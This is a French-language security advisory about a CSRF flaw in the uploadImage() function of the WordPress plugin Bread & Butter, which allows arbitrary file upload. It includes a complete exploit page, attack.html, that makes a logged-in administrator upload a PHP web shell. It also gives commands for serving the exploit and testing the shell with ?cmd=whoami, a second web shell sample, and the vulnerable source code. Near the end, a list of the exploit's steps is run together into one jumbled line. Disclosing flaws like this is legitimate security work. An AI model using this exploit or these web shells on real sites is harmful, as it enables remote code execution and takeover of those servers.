
Bread & Butter : Contenu verrouillé + Capture de prospects + Collecte de données first-party + Nurture avec agents IA <= 7.10.1321 - Cross-Site Request Forgery vers un téléversement de fichier arbitraire
Le plugin Bread & Butter IO contient une vulnérabilité dans sa fonctionnalité de téléversement d'images qui permet à n'importe quel attaquant de tromper les administrateurs authentifiés pour les amener à téléverser des fichiers arbitraires sur le serveur, notamment des shells web PHP, conduisant à une exécution de code à distance (RCE). La vulnérabilité provient de la fonction uploadImage() qui ne dispose pas de protection CSRF, permettant aux attaquants de créer des requêtes malveillantes que les navigateurs des administrateurs exécuteront automatiquement.
La vulnérabilité réside dans la fonction uploadImage() dans /bread-butter/src/Base/Ajax.php, qui manque de validation appropriée des fichiers et de protection CSRF, tout en utilisant file_put_contents() pour écrire les fichiers directement dans le répertoire de téléversement de WordPress avant tout contrôle de sécurité.
Voici le attack.html simple :
<!DOCTYPE html>
<html>
<body>
<button onclick="exploit()">CSRF Attack</button>
<script>
function exploit() {
const form = document.createElement('form');
form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
form.method = 'POST';
form.enctype = 'multipart/form-data';
form.target = '_blank';
form.style.display = 'none';
// Action field
const action = document.createElement('input');
action.name = 'action';
action.value = 'upload_image';
form.appendChild(action);
// File field
const file = document.createElement('input');
file.type = 'file';
file.name = 'file';
const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
const dt = new DataTransfer();
dt.items.add(phpFile);
file.files = dt.files;
form.appendChild(file);
document.body.appendChild(form);
form.submit();
}
</script>
</body>
</html>
Pour un POC, vous pouvez l'exécuter localement avec par exemple :
# Serve the CSRF exploit
python3 -m http.server 1337
# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami
Une fois connecté en tant qu'administrateur dans le navigateur de la victime, cliquer sur le lien mène à une RCE.
La vulnérabilité se situe dans la fonction uploadImage() à la ligne 411 de /bread-butter/src/Base/Ajax.php :
public function uploadImage() {
$this->checkAdmin();
$file = $_FILES['file'];
$type = $file['type'];
$name = $file['name'];
$image_url = $file['tmp_name'];
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = basename($name);
if (wp_mkdir_p($upload_dir['path'])) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // Attacker get's file moved to acessable storage!
// Post-upload processing (after vulnerability is exploited)
$wp_filetype = wp_check_filetype($filename, null);
// ... rest of function
}
La fonction vulnérable est enregistrée comme gestionnaire AJAX WordPress à la ligne 95 :
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));
Où self::$uploadImage est défini comme upload_image à la ligne 37.
Le seul contrôle de sécurité est la méthode checkAdmin() aux lignes 166-171 :
public function checkAdmin() {
if (!current_user_can('manage_options')) {
echo 0;
wp_die();
}
}
L'absence de protection CSRF rend cette vulnérabilité exploitable via des attaques de type Cross-Site Request Forgery. Le POC attack.html le démontre en :
target="_blank" pour contourner les restrictions CORSattack.html)/wp-content/uploads/[year]/[month]/test.php?cmd=whoami/wp-admin/admin-ajax.php<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "Shell ready. Use ?cmd=command";
}
?>
/wp-content/uploads/[year]/[month]/[filename].php